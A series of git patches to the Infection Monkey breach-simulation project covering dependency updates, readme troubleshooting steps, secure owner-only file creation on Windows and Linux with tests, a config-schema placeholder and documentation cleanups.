a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -4,6 +4,7 @@ verify_ssl = true name = "pypi" [packages] +altgraph = "*" cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography cffi = ">=1.14" ecdsa = "==0.15" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 02dbd88ccc3..1737d9ff491 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "080af5d3991ee621eb9fd84535c6399f297d6eaa72e97dc90871e27dd7a69435" + "sha256": "1c464331fa9697084cb9fac3a2f6cf5fca45fa63c528928318f1031acd0f5eff" }, "pipfile-spec": 6, "requires": { @@ -24,6 +24,14 @@ "markers": "python_version >= '3.6'", "version": "==0.0.4" }, + "altgraph": { + "hashes": [ + "sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa", + "sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe" + ], + "index": "pypi", + "version": "==0.17" + }, "asn1crypto": { "hashes": [ "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", @@ -487,6 +495,13 @@ "index": "pypi", "version": "==1.7.0" }, + "oscrypto": { + "hashes": [ + "sha256:7d2cca6235d89d1af6eb9cfcd4d2c0cb405849868157b2f7b278beb644d48694", + "sha256:988087e05b17df8bfcc7c5fac51f54595e46d3e4dffa7b3d15955cf61a633529" + ], + "version": "==1.2.1" + }, "paramiko": { "hashes": [ "sha256:4f3e316fef2ac628b05097a637af35685183111d4bc1b5979bd397c2ab7b5898", From b586bc56240139a9ec6a1b664b2dd1493ac0a8ca Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Jun 2021 20:55:34 +0200 Subject: [PATCH 0814/1360] Added troubleshooting section to infection monkey readme and monkey_island readme. --- monkey/infection_monkey/readme.md | 22 ++++++++++++++++++++++ monkey/monkey_island/readme.md | 16 ++++++++++++++++ 2 files changed, 38 insertions(+) diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md index 63029a62b40..d5209159566 100644 --- a/monkey/infection_monkey/readme.md +++ b/monkey/infection_monkey/readme.md @@ -50,6 +50,7 @@ Tested on Ubuntu 16.04. 2. Install the python packages listed in requirements.txt using pip - `cd [code location]/infection_monkey` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` - `python3.7 -m pip install -r requirements.txt` 3. Build Sambacry binaries @@ -94,3 +95,24 @@ You can either build them yourself or download pre-built binaries. - Available here: - 32bit: - 64bit: + + + +### Troubleshooting + +Some of the possible errors that may come up while trying to build the infection monkey: + +#### Linux + +When committing your changes for the first time, you may encounter some errors thrown by the pre-commit hooks. This is most likely because some python dependencies are missing from your system. +To resolve this, use `pipenv` to create a `requirements.txt` for both the `infection_monkey/` and `monkey_island/` requirements and install it with `pip`. + + - `cd [code location]/infection_monkey` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` + - `python3.7 -m pip install -r requirements.txt` + + and + + - `cd [code location]/monkey_island` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` + - `python3.7 -m pip install -r requirements.txt` diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index 4351dacffd8..8de0a49a901 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -132,3 +132,19 @@ #### How to run 1. From the `monkey` directory, run `python3.7 ./monkey_island.py` + + +#### Troubleshooting + +When committing your changes for the first time, you may encounter some errors thrown by the pre-commit hooks. This is most likely because some python dependencies are missing from your system. +To resolve this, use `pipenv` to create a `requirements.txt` for both the `infection_monkey/` and `monkey_island/` requirements and install it with `pip`. + + - `cd [code location]/infection_monkey` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` + - `python3.7 -m pip install -r requirements.txt` + + and + + - `cd [code location]/monkey_island` + - `python3.7 -m pipenv lock -r --dev > requirements.txt` + - `python3.7 -m pip install -r requirements.txt` From 13ed6b2f3a6291434665611d511a86b1a78c9983 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Jun 2021 20:08:28 -0400 Subject: [PATCH 0815/1360] docs: Minor formatting change to docker setup --- docs/content/setup/docker.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index fec2701d41e..48b3d4e3e73 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -41,7 +41,8 @@ The Infection Monkey Docker container works on Linux only. It is not compatible --name monkey-mongo \ --network=host \ --volume db:/data/db \ - --detach mongo:4.2 + --detach \ + mongo:4.2 ``` ### 3a. Start Monkey Island with default certificate From cfdf1183f546b9cc9c78c2be5daee6b5b05ac483 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 18 Jun 2021 12:30:46 +0300 Subject: [PATCH 0816/1360] Fix invalid handle for mongo key file error by using the filename instead --- monkey/monkey_island/cc/server_utils/encryptor.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 83292be8a35..657a06e87e3 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -25,9 +25,10 @@ def __init__(self, password_file_dir): else: self._init_key(password_file) - def _init_key(self, password_file): + def _init_key(self, password_file_path: str): self._cipher_key = Random.new().read(self._BLOCK_SIZE) - with open(get_file_descriptor_for_new_secure_file(path=password_file), "wb") as f: + get_file_descriptor_for_new_secure_file(path=password_file_path) + with open(password_file_path, "wb") as f: f.write(self._cipher_key) def _load_existing_key(self, password_file): From 0ded39bb6276739c758ddf5a9692bbc31c8c0dbc Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Fri, 18 Jun 2021 20:11:33 +0530 Subject: [PATCH 0817/1360] island: Add inheritance when setting Windows file or dir permissions Add container and object inheritance to the ACE's security descriptor when setting Windows permissions --- .../cc/server_utils/windows_permissions.py | 25 +++++++++++++------ 1 file changed, 17 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/windows_permissions.py b/monkey/monkey_island/cc/server_utils/windows_permissions.py index f090083f6ee..0a5f6de8cf4 100644 --- a/monkey/monkey_island/cc/server_utils/windows_permissions.py +++ b/monkey/monkey_island/cc/server_utils/windows_permissions.py @@ -4,16 +4,25 @@ import win32security -def get_security_descriptor_for_owner_only_perms() -> None: - user = get_user_pySID_object() +def get_security_descriptor_for_owner_only_perms(): + user_sid = get_user_pySID_object() security_descriptor = win32security.SECURITY_DESCRIPTOR() - dacl = win32security.ACL() - dacl.AddAccessAllowedAce( - win32security.ACL_REVISION, - ntsecuritycon.FILE_ALL_ACCESS, - user, - ) + + entries = [ + { + "AccessMode": win32security.GRANT_ACCESS, + "AccessPermissions": ntsecuritycon.FILE_ALL_ACCESS, + "Inheritance": win32security.CONTAINER_INHERIT_ACE | win32security.OBJECT_INHERIT_ACE, + "Trustee": { + "TrusteeType": win32security.TRUSTEE_IS_USER, + "TrusteeForm": win32security.TRUSTEE_IS_SID, + "Identifier": user_sid, + }, + } + ] + dacl.SetEntriesInAcl(entries) + security_descriptor.SetSecurityDescriptorDacl(1, dacl, 0) return security_descriptor From 9d323c194cdf1245bbf3c1b3b99edf101ac3320d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 20 Jun 2021 09:14:34 -0400 Subject: [PATCH 0818/1360] Remove job post from README.md --- README.md | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/README.md b/README.md index 3cb5bb194c8..63d4bd37d32 100644 --- a/README.md +++ b/README.md @@ -20,18 +20,6 @@ The Infection Monkey is comprised of two parts: To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com). -## 💥 We're Hiring 💥 -We are looking for a strong, full-stack developer with a passion for -cybersecurity to join the Infection Monkey development team. Infection Monkey -is an open-source, automated, breach and attack simulation platform, consisting -of a worm-like agent and C&C server. This is a remote position and is open -world-wide. If you're excited about Infection Monkey, we want to see your -resume. You can learn more about Infection Monkey on our -[website](https://www.guardicore.com/infectionmonkey/). - -For more information, or to apply, see the official job post -[here](https://www.guardicore.com/careers/co/labs/65.D16/full-stack-developer/all/?coref=1.10.r36_60E&t=1617025683094). - ## Screenshots ### Map From 1d22de41a848dd9592c86341f1377ce9c2206274 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 20 Jun 2021 09:15:57 -0400 Subject: [PATCH 0819/1360] Remove training whitespace from README.md --- README.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 63d4bd37d32..294be65797d 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ ## Data center Security Testing Tool -Welcome to the Infection Monkey! +Welcome to the Infection Monkey! The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server. @@ -18,7 +18,7 @@ The Infection Monkey is comprised of two parts: * **Monkey** - A tool which infects other machines and propagates to them. * **Monkey Island** - A dedicated server to control and visualize the Infection Monkey's progress inside the data center. -To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com). +To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com). ## Screenshots @@ -59,28 +59,28 @@ Check out the [Setup](https://www.guardicore.com/infectionmonkey/docs/setup/) pa The Infection Monkey supports a variety of platforms, documented [in our documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/operating_systems_support/). ## Building the Monkey from source -To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) +To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder or follow documentation in [documentation hub](https://www.guardicore.com/infectionmonkey/docs/development/setup-development-environment/). ### Build status | Branch | Status | | ------ | :----: | | Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) | -| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) | +| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) | ## Tests ### Unit Tests -In order to run all of the Unit Tests, run the command `python -m pytest` in the `monkey` directory. +In order to run all of the Unit Tests, run the command `python -m pytest` in the `monkey` directory. -To get a coverage report, first make sure the `coverage` package is installed using `pip install coverage`. Run the command -`coverage run -m unittest` in the `monkey` directory and then `coverage html`. The coverage report can be found in -`htmlcov.index`. +To get a coverage report, first make sure the `coverage` package is installed using `pip install coverage`. Run the command +`coverage run -m unittest` in the `monkey` directory and then `coverage html`. The coverage report can be found in +`htmlcov.index`. ### Blackbox tests -In order to run the Blackbox tests, refer to `envs/monkey_zoo/blackbox/README.md`. +In order to run the Blackbox tests, refer to `envs/monkey_zoo/blackbox/README.md`. # License From 84868b29ef598135531ef5e77ad3524f5233919f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 21 Jun 2021 10:56:44 +0300 Subject: [PATCH 0820/1360] Adds ransomware section to island's configuration schema --- monkey/monkey_island/cc/services/config_schema/config_schema.py | 2 ++ monkey/monkey_island/cc/services/config_schema/ransomware.py | 1 + 2 files changed, 3 insertions(+) create mode 100644 monkey/monkey_island/cc/services/config_schema/ransomware.py diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py index 3900b067525..fb1e35b4545 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py @@ -10,6 +10,7 @@ ) from monkey_island.cc.services.config_schema.internal import INTERNAL from monkey_island.cc.services.config_schema.monkey import MONKEY +from monkey_island.cc.services.config_schema.ransomware import RANSOMWARE SCHEMA = { "title": "Monkey", @@ -27,6 +28,7 @@ "basic": BASIC, "basic_network": BASIC_NETWORK, "monkey": MONKEY, + "ransomware": RANSOMWARE, "internal": INTERNAL, }, "options": {"collapsed": True}, diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py new file mode 100644 index 00000000000..83619b0b417 --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -0,0 +1 @@ +RANSOMWARE = {"linux_dir": "", "windows_dir": ""} From ec2fb182de139e96ed21f6d883b56b71c9e34cb5 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Mon, 21 Jun 2021 14:02:40 +0530 Subject: [PATCH 0821/1360] tests: Modify test_file_utils.py to check for inheritance when creating secure file/dir on Windows --- .../cc/server_utils/test_file_utils.py | 33 +++++++++++-------- 1 file changed, 20 insertions(+), 13 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index ab1c77ed127..894f1e6b339 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -16,7 +16,8 @@ import win32security FULL_CONTROL = 2032127 - ACE_TYPE_ALLOW = 0 + ACE_ACCESS_MODE_GRANT_ACCESS = win32security.GRANT_ACCESS + ACE_INHERIT_OBJECT_AND_CONTAINER = 3 def test_expand_user(patched_home_env): @@ -86,13 +87,16 @@ def test_create_secure_directory__perm_windows(test_path): assert acl.GetAceCount() == 1 - ace = acl.GetAce(0) - ace_type, _ = ace[0] # 0 for allow, 1 for deny - permissions = ace[1] - sid = ace[-1] + ace = acl.GetExplicitEntriesFromAcl()[0] - assert sid == user_sid - assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW + ace_access_mode = ace["AccessMode"] + ace_permissions = ace["AccessPermissions"] + ace_inheritance = ace["Inheritance"] + ace_sid = ace["Trustee"]["Identifier"] + + assert ace_sid == user_sid + assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS + assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER def test_get_file_descriptor_for_new_secure_file__already_exists(test_path): @@ -127,10 +131,13 @@ def test_get_file_descriptor_for_new_secure_file__perm_windows(test_path): assert acl.GetAceCount() == 1 - ace = acl.GetAce(0) - ace_type, _ = ace[0] # 0 for allow, 1 for deny - permissions = ace[1] - sid = ace[-1] + ace = acl.GetExplicitEntriesFromAcl()[0] + + ace_access_mode = ace["AccessMode"] + ace_permissions = ace["AccessPermissions"] + ace_inheritance = ace["Inheritance"] + ace_sid = ace["Trustee"]["Identifier"] - assert sid == user_sid - assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW + assert ace_sid == user_sid + assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS + assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER From b39440e871e9f25a6090cc7dd36eeadff3f46813 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sat, 19 Jun 2021 08:55:53 -0400 Subject: [PATCH 0822/1360] island: Return a fd instead of PyHandle during windows file creation Fixes #1252 --- monkey/monkey_island/cc/server_utils/file_utils.py | 9 +++++---- .../monkey_island/cc/server_utils/test_file_utils.py | 3 +-- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 995501c09da..1cda9a6d3d2 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -79,8 +79,7 @@ def _get_file_descriptor_for_new_secure_file_linux(path: str) -> int: def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int: try: file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE - # subsequent open operations on the object will succeed only if read access is requested - file_sharing = win32file.FILE_SHARE_READ + file_sharing = win32file.FILE_SHARE_READ | win32file.FILE_SHARE_WRITE security_attributes = win32security.SECURITY_ATTRIBUTES() security_attributes.SECURITY_DESCRIPTOR = ( windows_permissions.get_security_descriptor_for_owner_only_perms() @@ -88,7 +87,7 @@ def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int: file_creation = win32file.CREATE_NEW # fails if file exists file_attributes = win32file.FILE_FLAG_BACKUP_SEMANTICS - fd = win32file.CreateFile( + handle = win32file.CreateFile( path, file_access, file_sharing, @@ -98,7 +97,9 @@ def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int: _get_null_value_for_win32(), ) - return fd + detached_handle = handle.Detach() + + return win32file._open_osfhandle(detached_handle, os.O_RDWR) except Exception as ex: LOG.error(f'Could not create a file at "{path}": {str(ex)}') diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 894f1e6b339..756c6452d0e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -12,7 +12,6 @@ if is_windows_os(): import win32api - import win32file import win32security FULL_CONTROL = 2032127 @@ -125,7 +124,7 @@ def test_get_file_descriptor_for_new_secure_file__perm_linux(test_path): @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") def test_get_file_descriptor_for_new_secure_file__perm_windows(test_path): - win32file.CloseHandle(get_file_descriptor_for_new_secure_file(test_path)) + os.close(get_file_descriptor_for_new_secure_file(test_path)) acl, user_sid = _get_acl_and_sid_from_path(test_path) From 51aa0d1564b83ad0aae4e27cad538ac17f5dced8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sat, 19 Jun 2021 09:12:04 -0400 Subject: [PATCH 0823/1360] island: Refactor get_file_descriptor_for_new_secure_file as contextmgr get_file_descriptor_for_new_secure_file() has been refactored as a contextmanager. Additionally, it has been renamed to open_new_securely_permissioned_file(). The function can now be used similarly to open(). Example: with open_new_securely_permissioned_file(file_path, "wb") as f: f.write(data) --- .../cc/server_utils/encryptor.py | 5 ++- .../cc/server_utils/file_utils.py | 12 +++++-- .../cc/server_utils/test_file_utils.py | 32 +++++++++++++------ 3 files changed, 34 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 657a06e87e3..06a97352666 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -6,7 +6,7 @@ from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 -from monkey_island.cc.server_utils.file_utils import get_file_descriptor_for_new_secure_file +from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file __author__ = "itay.mizeretz" @@ -27,8 +27,7 @@ def __init__(self, password_file_dir): def _init_key(self, password_file_path: str): self._cipher_key = Random.new().read(self._BLOCK_SIZE) - get_file_descriptor_for_new_secure_file(path=password_file_path) - with open(password_file_path, "wb") as f: + with open_new_securely_permissioned_file(password_file_path, "wb") as f: f.write(self._cipher_key) def _load_existing_key(self, password_file): diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 1cda9a6d3d2..ebd28595b2a 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -2,6 +2,8 @@ import os import platform import stat +from contextlib import contextmanager +from typing import Generator LOG = logging.getLogger(__name__) @@ -54,11 +56,15 @@ def _create_secure_directory_windows(path: str): raise ex -def get_file_descriptor_for_new_secure_file(path: str) -> int: +@contextmanager +def open_new_securely_permissioned_file(path: str, mode: str = "w") -> Generator: if is_windows_os(): - return _get_file_descriptor_for_new_secure_file_windows(path) + fd = _get_file_descriptor_for_new_secure_file_windows(path) else: - return _get_file_descriptor_for_new_secure_file_linux(path) + fd = _get_file_descriptor_for_new_secure_file_linux(path) + + with open(fd, mode) as f: + yield f def _get_file_descriptor_for_new_secure_file_linux(path: str) -> int: diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 756c6452d0e..9a9ada29d8e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -6,8 +6,8 @@ from monkey_island.cc.server_utils.file_utils import ( create_secure_directory, expand_path, - get_file_descriptor_for_new_secure_file, is_windows_os, + open_new_securely_permissioned_file, ) if is_windows_os(): @@ -98,22 +98,26 @@ def test_create_secure_directory__perm_windows(test_path): assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER -def test_get_file_descriptor_for_new_secure_file__already_exists(test_path): +def test_open_new_securely_permissioned_file__already_exists(test_path): os.close(os.open(test_path, os.O_CREAT, stat.S_IRWXU)) assert os.path.isfile(test_path) with pytest.raises(Exception): - get_file_descriptor_for_new_secure_file(test_path) + with open_new_securely_permissioned_file(test_path): + pass -def test_get_file_descriptor_for_new_secure_file__no_parent_dir(test_path_nested): +def test_open_new_securely_permissioned_file__no_parent_dir(test_path_nested): with pytest.raises(Exception): - get_file_descriptor_for_new_secure_file(test_path_nested) + with open_new_securely_permissioned_file(test_path_nested): + pass @pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") -def test_get_file_descriptor_for_new_secure_file__perm_linux(test_path): - os.close(get_file_descriptor_for_new_secure_file(test_path)) +def test_open_new_securely_permissioned_file__perm_linux(test_path): + with open_new_securely_permissioned_file(test_path): + pass + st = os.stat(test_path) expected_mode = stat.S_IRUSR | stat.S_IWUSR @@ -123,8 +127,9 @@ def test_get_file_descriptor_for_new_secure_file__perm_linux(test_path): @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") -def test_get_file_descriptor_for_new_secure_file__perm_windows(test_path): - os.close(get_file_descriptor_for_new_secure_file(test_path)) +def test_open_new_securely_permissioned_file__perm_windows(test_path): + with open_new_securely_permissioned_file(test_path): + pass acl, user_sid = _get_acl_and_sid_from_path(test_path) @@ -140,3 +145,12 @@ def test_get_file_descriptor_for_new_secure_file__perm_windows(test_path): assert ace_sid == user_sid assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER + + +def test_open_new_securely_permissioned_file__write(test_path): + TEST_STR = b"Hello World" + with open_new_securely_permissioned_file(test_path, "wb") as f: + f.write(TEST_STR) + + with open(test_path, "rb") as f: + assert f.read() == TEST_STR From 2d18a68787dc17a3291255c13ee84d99e377d8ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Jun 2021 09:26:39 -0400 Subject: [PATCH 0824/1360] island: Fix return type hint for _get_null_value_for_win32() The _get_null_value_for_win32() function does not return None, it returns a PyHANDLE object. For the moment, I'm unable to determine the correct way to import PyHANDLE so that it can be specified in the type hint. Since type hints aren't actually enforced, it's not worth the effort to fully solve this at the present time, so the type hint has just been removed. --- monkey/monkey_island/cc/server_utils/file_utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index ebd28595b2a..7c4ab59fb18 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -112,6 +112,6 @@ def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int: raise ex -def _get_null_value_for_win32() -> None: +def _get_null_value_for_win32(): # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 return win32job.CreateJobObject(None, "") From 3b3ce2f86e9818a6537f728207624195b7bae208 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Jun 2021 11:19:43 -0400 Subject: [PATCH 0825/1360] Swimm: update exercise Add a new System Info Collector (id: OwcKMnALpn7tuBaJY1US). --- .swm/OwcKMnALpn7tuBaJY1US.swm | 32 +++++++++++++++++--------------- 1 file changed, 17 insertions(+), 15 deletions(-) diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index 059b744774e..0aa498db467 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -71,9 +71,9 @@ "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", "comments": [], - "firstLineNumber": 36, + "firstLineNumber": 37, "lines": [ - " \"info\": \"If on AWS, collects more information about the AWS instance currently running on.\",", + " \"currently running on.\",", " \"attack_techniques\": [\"T1082\"],", " },", "* {", @@ -96,13 +96,15 @@ "comments": [], "firstLineNumber": 1, "lines": [ - " from common.common_consts.system_info_collectors_names import (", - " AWS_COLLECTOR,", - " AZURE_CRED_COLLECTOR,", - "* HOSTNAME_COLLECTOR,", - " HOSTNAME_COLLECTOR,", - " MIMIKATZ_COLLECTOR,", - " PROCESS_LIST_COLLECTOR," + "*from common.common_consts.system_info_collectors_names import (", + "* AWS_COLLECTOR,", + "* AZURE_CRED_COLLECTOR,", + "* ENVIRONMENT_COLLECTOR,", + "* HOSTNAME_COLLECTOR,", + "* MIMIKATZ_COLLECTOR,", + "* PROCESS_LIST_COLLECTOR,", + "*)", + " " ] }, { @@ -152,7 +154,7 @@ " from common.common_consts.system_info_collectors_names import (", " AWS_COLLECTOR,", " ENVIRONMENT_COLLECTOR,", - "* HOSTNAME_COLLECTOR," + "* HOSTNAME_COLLECTOR," ] }, { @@ -196,14 +198,14 @@ "symbols": {}, "file_version": "2.0.1", "meta": { - "app_version": "0.4.1-1", + "app_version": "0.4.9-1", "file_blobs": { - "monkey/common/common_consts/system_info_collectors_names.py": "c93cb2537ca94c9e46980d0cd06cc86a0ab34e29", + "monkey/common/common_consts/system_info_collectors_names.py": "175a054e1408805a4cebbe27e2f9616db40988cf", "monkey/infection_monkey/system_info/collectors/hostname_collector.py": "0aeecd9fb7bde83cccd4501ec03e0da199ec5fc3", - "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "487166ec6f6d0559abd07e04d72fe55f230fc518", - "monkey/monkey_island/cc/services/config_schema/monkey.py": "0d69c5aa4fee48943f7847048942d257d27c2472", + "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "9a4a39050eb088876df4fa629e14faf820e714a0", + "monkey/monkey_island/cc/services/config_schema/monkey.py": "e745da5828c63e975625ac2e9b80ce9626324970", "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py": "e2de4519cbd71bba70e81cf3ff61817437d95a21", - "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": "894bdce75f0ae2b892bd5b3c6c70949be52b36e7" + "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": "7ce4b6fcfbce0d6cd8a60297213c5be1699b22df" } } } From d908b183f590ccbd98da8b4de79cee8f7d5f3f2a Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 21 Jun 2021 22:40:31 +0530 Subject: [PATCH 0826/1360] Swimm: update exercise Add a new System Info Collector (id: OwcKMnALpn7tuBaJY1US). Modify snippet in monkey_island/cc/services/config_schema/monkey.py to only hide HOSTNAME_COLLECTOR instead of the whole import statement block --- .swm/OwcKMnALpn7tuBaJY1US.swm | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index 0aa498db467..7c3a3286200 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -96,15 +96,14 @@ "comments": [], "firstLineNumber": 1, "lines": [ - "*from common.common_consts.system_info_collectors_names import (", - "* AWS_COLLECTOR,", - "* AZURE_CRED_COLLECTOR,", - "* ENVIRONMENT_COLLECTOR,", + " from common.common_consts.system_info_collectors_names import (", + " AWS_COLLECTOR,", + " AZURE_CRED_COLLECTOR,", + " ENVIRONMENT_COLLECTOR,", "* HOSTNAME_COLLECTOR,", - "* MIMIKATZ_COLLECTOR,", - "* PROCESS_LIST_COLLECTOR,", - "*)", - " " + " MIMIKATZ_COLLECTOR,", + " PROCESS_LIST_COLLECTOR,", + " )" ] }, { @@ -198,7 +197,7 @@ "symbols": {}, "file_version": "2.0.1", "meta": { - "app_version": "0.4.9-1", + "app_version": "0.4.4-0", "file_blobs": { "monkey/common/common_consts/system_info_collectors_names.py": "175a054e1408805a4cebbe27e2f9616db40988cf", "monkey/infection_monkey/system_info/collectors/hostname_collector.py": "0aeecd9fb7bde83cccd4501ec03e0da199ec5fc3", From 02ed22bab77e57c342dacba2dc473e43d624fb90 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Jun 2021 13:43:20 -0400 Subject: [PATCH 0827/1360] island: Remove FILE_SHARE_WRITE from windows permissions Granting FILE_SHARE_WRITE on mongo_key.bin is unnecessary. Since mongo_key.bin is the only file that is created using _get_file_descriptor_for_new_secure_file_windows() at the moment, we won't grant FILE_SHARE_WRITE. --- 